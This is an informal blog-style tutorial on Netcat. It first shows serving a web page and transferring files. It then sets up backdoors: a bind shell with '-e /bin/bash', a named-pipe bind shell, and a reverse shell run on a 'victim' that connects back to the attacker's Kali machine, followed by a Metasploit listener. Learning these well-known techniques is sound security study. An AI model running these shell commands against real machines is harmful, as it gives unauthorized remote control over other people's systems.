Hello Hackers !
Welcome to this my new tutorial ( or at least sharing some tips ) . Here you will learn how to use Netcat and what is Netcat.
Netcat is the swiss army knife for hacker and network administrator. If you want to test a simple server/client app that you programmed in your favorite language , try Netcat !
Simple Web server
Here is how you can set up a simple web server
Juste create a simple html page
<html>
<head>
<title>Simple Web Server</title>
</head>
<body>
<h1>It Works</h1>
<</body>
</html>
Then run netcat
cat index.html | nc -lvp 80
You will get the following picture
Cool right ?
Data Transfert
Something cool about Netcat is data transfer. If you want to send a text file through your network just use Netcat !
On my Kali linux machine I use :
nc -lvp 1234 > test.txt
on another machine with Netcat installed :
nc ip_of_my_kali_linux 1234 < test.txt
and you will see the file in your kali linux machine
Backdoor me my Lord
Now let’s use Netcat for a simple Backdoor !
There is two version of Netcat one with the “-e” option and one without it
For the first version you can run a backdoor with this command
nc -lvp 1234 -e /bin/bash
connect to your backdoor with netcat
Now if your Netcat version who doesn’t have -e you have to use a backpipe
create a backpipe
mknod backpipe p
and now the tricky Netcat command to have a shell
/bin/bash 0<backpipe | nc -lvp 1234 1>backpipe
Now on your kali machine
If the victim is behind a nat those commands won’t work because we use Bind shell where you the attacker connect to the victim now we will use a reverse shell
run Netcat on your Kali machine listening for a connection
nc -lvp 1234
and on the victim
/bin/bash 0<backpipe | nc ip_of_your_kali_linux 1234 1>backpipe
And now you have a reverse shell !
You can use Metasploit and set up a listener
use exploit/multi/handler
set payload linux/x64/reverse_shell_tcp
or
set payload linux/x86/reverse_shell_tcp
exploit -j
Hope you like this short tutorial !
See you soon for another tutorial